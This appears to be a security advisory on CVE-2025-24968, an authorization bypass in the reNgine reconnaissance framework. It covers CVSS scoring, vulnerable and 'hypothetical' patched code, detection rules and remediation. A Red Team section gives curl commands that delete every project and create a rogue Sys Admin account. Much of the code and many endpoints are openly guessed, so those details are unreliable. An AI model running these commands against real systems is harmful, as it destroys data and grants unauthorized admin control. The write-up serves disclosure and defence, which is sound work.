CVE-2025-24968

Executive Summary

CVE-2025-24968 is a critical authorization bypass vulnerability in reNgine, an automated reconnaissance framework for web applications. The flaw allows authenticated users with roles such as penetration_tester or auditor to delete all projects in the system without proper authorization checks. This leads to a complete system takeover by redirecting the attacker to the onboarding page, where they can add or modify users (including Sys Admins) and configure critical settings like API keys and user preferences. The vulnerability affects all versions up to and including 2.2.0. No official patch or workaround is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

reNgine is a Python-based project distributed via GitHub and Docker. The vulnerability exists in the core application logic, not in a third-party package. However, users should verify the integrity of their reNgine installation and monitor for any malicious modifications to the codebase. The project is not distributed via PyPI, but Docker images may be affected.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user with penetration_tester or auditor role
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the severe impact: an attacker with low privileges can completely compromise the system, delete all projects, and gain administrative control.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the project deletion endpoint. In reNgine, roles like penetration_tester and auditor are intended to have limited permissions, but the code fails to verify that the user has the necessary privileges to delete projects. The deletion function likely uses a simple API call (e.g., DELETE /api/projects/<id>) without checking if the user is a Sys Admin or has explicit delete permissions.

When an attacker deletes all projects, the system redirects them to the onboarding page (typically /onboarding), which is normally only accessible during initial setup. This page allows adding new users, modifying existing users, and configuring sensitive settings. By exploiting this, the attacker can create a new Sys Admin account, change API keys, and exfiltrate data.

The root cause is a missing @permission_required decorator or similar authorization check on the project deletion view function. The code likely uses Django's class-based views or Flask routes without proper permission enforcement.

Vulnerable vs. Patched Code

Vulnerable Code (reNgine <= 2.2.0):

# views.py (or similar)
from django.http import JsonResponse
from .models import Project

def delete_project(request, project_id):
    if request.method == 'DELETE':
        try:
            project = Project.objects.get(id=project_id)
            project.delete()
            return JsonResponse({'status': 'success'})
        except Project.DoesNotExist:
            return JsonResponse({'status': 'error', 'message': 'Project not found'}, status=404)

Patched Code (hypothetical fix):

# views.py (patched)
from django.http import JsonResponse
from django.contrib.auth.decorators import permission_required
from .models import Project

@permission_required('projects.delete_project', raise_exception=True)
def delete_project(request, project_id):
    if request.method == 'DELETE':
        try:
            project = Project.objects.get(id=project_id)
            project.delete()
            return JsonResponse({'status': 'success'})
        except Project.DoesNotExist:
            return JsonResponse({'status': 'error', 'message': 'Project not found'}, status=404)

The patched version adds the @permission_required decorator to enforce that only users with the delete_project permission can delete projects. This prevents unauthorized deletion by penetration_tester or auditor roles.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a reNgine instance (version <= 2.2.0)
• Valid credentials for a user with penetration_tester or auditor role

Exploitation Steps:

1. Authenticate and obtain session cookie:

   curl -X POST https://target.com/login -d "username=attacker&password=password" -c cookies.txt
   

2. List all projects:

   curl -X GET https://target.com/api/projects -b cookies.txt
   

3. Delete each project (iterate through project IDs):

   for id in $(curl -s https://target.com/api/projects -b cookies.txt | jq -r '.[].id'); do
       curl -X DELETE "https://target.com/api/projects/$id" -b cookies.txt
   done
   

4. After deletion, access the onboarding page:

   curl -X GET https://target.com/onboarding -b cookies.txt
   

5. Create a new Sys Admin user:

   curl -X POST https://target.com/onboarding -d "username=admin2&password=NewPass123&role=sys_admin" -b cookies.txt
   

6. Login as the new Sys Admin and exfiltrate data:

   curl -X GET https://target.com/api/settings -u admin2:NewPass123
   

Blue Team

Detection:

• Monitor for multiple DELETE requests to /api/projects/<id> from a single user in a short time frame.
• Alert on access to /onboarding endpoint by non-admin users.
• Look for unusual user creation events, especially from the onboarding page.

Mitigation:

• Implement proper authorization checks on all project deletion endpoints.
• Restrict access to the onboarding page to only initial setup or Sys Admin users.
• Enable logging and monitoring for all project deletion activities.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple DELETE requests to /api/projects/<id> from the same IP
  • Access to /onboarding endpoint by users with penetration_tester or auditor roles
  • Unusual user creation requests to /onboarding or /api/users

• Host IOCs:

  • Log entries showing project deletion by unauthorized roles
  • New user accounts with Sys Admin role created outside of normal onboarding
  • Changes to API keys or user preferences in system logs

• File IOCs:

  • Modified views.py or similar files if attacker attempts to patch the vulnerability
  • Suspicious files in the reNgine installation directory

Detection Engineering

YARA Rule

rule Detect_reNgine_Project_Deletion_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-24968 in reNgine logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24968"
    strings:
        $delete_request = "DELETE /api/projects/" ascii wide nocase
        $onboarding_access = "GET /onboarding" ascii wide nocase
        $user_creation = "POST /onboarding" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-24968 - reNgine Unauthorized Project Deletion
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple project deletion requests from a single user in reNgine
author: Valters IT
date: 2025/04/10
logsource:
    category: web
    product: rengine
detection:
    selection:
        http.method: 'DELETE'
        http.url|startswith: '/api/projects/'
    timeframe: 5m
    condition: selection | count() by src_ip > 5
falsepositives:
    - Legitimate bulk project cleanup by Sys Admin
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-24968 - reNgine Unauthorized Project Deletion Attempt";
    flow:to_server,established;
    content:"DELETE"; http_method;
    content:"/api/projects/"; http_uri;
    threshold: type both, track by_src, count 5, seconds 300;
    sid:1000001;
    rev:1;
    reference:cve,2025-24968;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict user roles: Remove penetration_tester and auditor roles from all users until a patch is available.
2. Monitor logs: Enable detailed logging for all project deletion and onboarding activities.
3. Network segmentation: Place reNgine instances behind a VPN or firewall to limit access.

Long-term Fix:

• Apply the official patch once released by the reNgine project.
• Implement custom authorization checks in the code (see patched code example above).
• Upgrade to a patched version when available.

Workarounds:

• No official workaround exists. The only mitigation is to restrict user permissions and monitor for suspicious activity.

Valters IT